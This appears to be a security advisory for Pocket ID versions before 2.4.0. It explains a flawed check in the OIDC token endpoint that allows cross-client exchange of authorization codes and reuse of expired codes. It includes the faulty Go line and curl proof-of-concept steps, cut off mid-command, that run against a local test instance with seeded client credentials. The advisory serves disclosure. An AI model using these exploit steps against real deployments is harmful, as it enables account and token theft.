Pocket ID is an OIDC provider that allows users to authenticate with their passkeys to your services. Prior to 2.4.0, the OIDC token endpoint rejects an authorization code only when both the client ID is wrong and the code is expired. This allows cross-client code exchange and expired code reuse. This vulnerability is fixed in 2.4.0.

Affected: Go: github.com/pocket-id/pocket-id/backend

### Summary

The OIDC token endpoint rejects an authorization code only when **both** the client ID is wrong **and** the code is expired. This allows cross-client code exchange and expired code reuse.

### Details

`backend/internal/service/oidc_service.go:407`

```go if authorizationCodeMetaData.ClientID != input.ClientID && authorizationCodeMetaData.ExpiresAt.ToTime().Before(time.Now()) { return CreatedTokens{}, &common.OidcInvalidAuthorizationCodeError{} } ```

`&&` should be `||`. Current behavior:

| Condition | Expected | Actual | |-----------|----------|--------| | Wrong client + valid code | Reject | **Accept** | | Correct client + expired code | Reject | **Accept** |

### PoC

**Prerequisite:** pocket-id running with `APP_ENV=test` and `BUILD_TAGS=e2etest`. The test user (Tim Cook) must have authorized both Nextcloud and Immich OIDC clients (i.e., `user_authorized_oidc_clients` records exist for both). The seed data includes an authorization code `auth-code` issued for the Nextcloud client.

```bash # 1. Seed test data curl -X POST "http://localhost:1411/api/test/reset?skip-ldap=true"

# 2. Exchange Nextcloud's auth code using Immich's credentials curl -X POST http://localhost:1411/api/oidc/token \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "grant_type=authorization_code" \ -d "code=auth-code" \ -d "client_id=606c7782-f2b1-49e5-8ea9-26eb1b06d018" \ -d "client_secret=PYjrE9u4v9GVqXKi52eur0eb2Ci4kc0x" \ -d "redirect_uri=http://immich/aut…